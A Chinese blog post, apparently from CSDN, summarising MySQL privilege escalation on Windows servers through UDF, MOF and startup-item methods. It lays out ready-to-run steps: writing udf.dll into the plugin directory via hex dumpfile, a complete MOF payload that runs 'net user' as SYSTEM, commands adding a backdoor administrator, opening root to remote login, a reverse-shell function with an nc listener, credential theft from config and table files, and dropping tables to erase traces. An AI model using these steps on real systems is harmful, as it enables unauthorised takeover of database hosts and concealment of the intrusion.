权限提升-mysql提权总结

本文详细介绍了MySQL数据库的三种提权方式:UDF提权、MOF提权和启动项提权。UDF提权通过创建自定义函数sys_eval获取shell权限;MOF提权利用Windows系统下的wbem/mof/nullevt.mof文件以system权限运行脚本;启动项提权涉及修改系统启动项以提升权限。提权条件包括获取数据库权限、目录可写入等,并提供了相关命令示例和注意事项。
摘要由CSDN通过智能技术生成

0x00 mysql数据库提权方式简介

1)udf提权

2)mof提权

3)启动项提权-反弹shell-exp提权

提权思路:1.探针数据库的存在-端口服务,2.必须获取到数据库的权限密码,3.数据库的类型分类

重点:数据库的账号密码获取方式,

1.网站配置文件sql data inc config conn database commin include等

2.读取数据库备份文件下的库中表等信息,数据库名/表名.MYD文件储存密码,例如mysql数据库在mysql_user表中储存账户密码,使用cmd5-mysql5解码

3.暴力破解账户密码,需要支持外联,mysql一般不支持外联,需要手动打开
数据库密码本地爆破:将php脚本放在本地,运行
msf爆破数据库密码使用 scanner mysql_login模块 需要支持外联

0x01 UDF提权

UDF介绍:User Defined
Functions简称UDF,通俗来讲就是用户可自定义函数。udf提权就是利用到创建自定义函数(sys_eval),在mysql中调用这个自定义的函数(sys_eval)来实现获取对方主机的system的shell权限,从而达到提权的目的。
简单来说便是利用提权脚本放到对方mysql指定的目录下,运用脚本创建自定义函数,使用函数即可获取shell权限。
我们需要将duf.dll文件放入C:\phpStudy\MySQL\lib\plugin,前面路劲可能跟我不一样,但是需要做的就是将dll文件放入\lib\plugin目录中

Mysql版本大于5.1版本:udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
Mysql版本小于5.1版本: udf.dll文件在Windows2003下放置于c:\windows\system32,
在windows2000下放置于c:\winnt\system32。
如果目录不存在则利用NTFS数据流创建文件目录

> select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION'; 
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; 
//利用NTFS ADS创建plugin目录
提权条件

1)获取到对方mysql的shell,或者是获取到mysql账号密码,能够调用mysql语句
2)对方mysql具有insert和delete权限,也就是可写可删除添加能够创建目录,写入文件
验证是否可写:

show global variables like 'secure%';

如果secure_file_priv值为空则可写,为指定路劲则是指定路劲可写,需要全部可写需要在mysql.ini配置文件添加语句:即可
secure_file_priv是限制函数在哪个目录下拥有上传或者读取文件的权限

secure_file_priv=

3)熟悉对方mysql目录结构,以及主机型号,以便使用不同的脚本
查看主机架构,以便确认操作系统位数,使用不同的udf.dll脚本

show variables like '%compile%'; 


确定mysql目录结构,搜索我们需要的目录位置
查看plugin目录位置

show variables like 'plugin%'; #查找具体目录
select @@basedir;#查看mysql目录

3)提权脚本我在这里简称udf.dll
在kali里面自带udf提权脚本,并且有32位与64位版本,使用只需要将文件导出使用即可
目录位置

/usr/share/metasploit-framework/data/exploits/mysql

UDF提权步骤

1)将文件放入\lib\plugin目录下
方法1.getshell工具连接,将文件放入指定位置
2.使用mysql终端,创建自定义函数sys_eval
create function sys_eval returns string soname ‘udf.dll’;


方法2.数据库创建目录,并且导入文件

create table temp(data longblob);  #以二进制数据流容器longblob创建临时data表
insert into temp(data) values (unhex('udf文件的16进制格式')); 将udf.dll脚本的十六进制写入data表
select data from temp into dumpfile "xxx\\xxx\\lib\\plugin\\udf.dll";#将udf文件导入到指定目录
create function sys_eval returns string soname 'udf.dll';   #创建自定义函数sys_eval

更多的方法有的通过mysql大马创建,原理都差不多

2)调用脚本创建sys_eval函数,验证提权

还有一种利用msf提权udf方法,这里没有简述,
msf默认创建sys_exec()函数,该函数执行并不会有回显
返回值只有0或1,1为错误,0为正确

提权常用命令
  1. select cmdshell(‘net user hsy 123456 /add’); #添加用户

  2. select cmdshell(‘net localgroup administrators hsy /add’); #将用户加到管理组

  3. drop function sys_eval; #删除函数

  4. DROP TABLE data; //为了删除痕迹,把刚刚新建的data表删掉

0x02 mof提权

mof提权原理

成功率低 替换原来文件 自启动原理

类似于之前的udf提权,参考https://blog.csdn.net/qq_53577336/article/details/119700116
另外一种mysql提权方式叫做mof提权
在windows系统下 (在c:/windows/system32/wbem/ mof /nullevt. mof)存在一个mof文件,他的特点是,每个极短一段时间,便会以system权限自动运行文件内脚本,mof提权就是将我们写好的mof文件导入到该目录该文件里门,让他自行执行我们的语句,达到我们想要的效果

提权条件

1)获取到对方mysql的shell,或者是获取到mysql账号密码,能够调用mysql语句
2)目录可写入
对方mysql具有insert和delete权限,也就是可写可删除添加能够创建目录,写入文件
验证是否可写:

show global variables like 'secure%';


如果secure_file_priv值为空则可写,为指定路劲则是指定路劲可写,需要全部可写需要在mysql.ini配置文件添加语句:即可

secure_file_priv=

secure_file_priv是限制函数在哪个目录下拥有上传或者读取文件的权限

提权exp

利用MySQL将文件写入目录

select load_file('mof文件路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

执行完毕替换net user hsy 123456 /add换为
net localgroup administrators hsy/add 即可将用户提升管理员权限

0x03 自启动提权与反弹shell提权

mysql开启外联

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

使用msf 搜索使用mysql start-up模块 设置目标IP 账号密码 还可以写入反弹shell接受IP 写入启动项 需要对方启动系统,如果权限不够高,可以尝试反弹shell能否获取更高权限

反弹shell提权
mysql创建反弹函数select backshell(‘发送到的ip地址’,‘端口’),kali使用nc监听本地(攻击机)IP nc -l(本地)-p 端口

linux提权手段:

suid授权 sudo授权

使用suid提权

内核版本提权

交流学习:
博客:http://www.kxsy.work
CSND社区:告白热

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

告白热

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值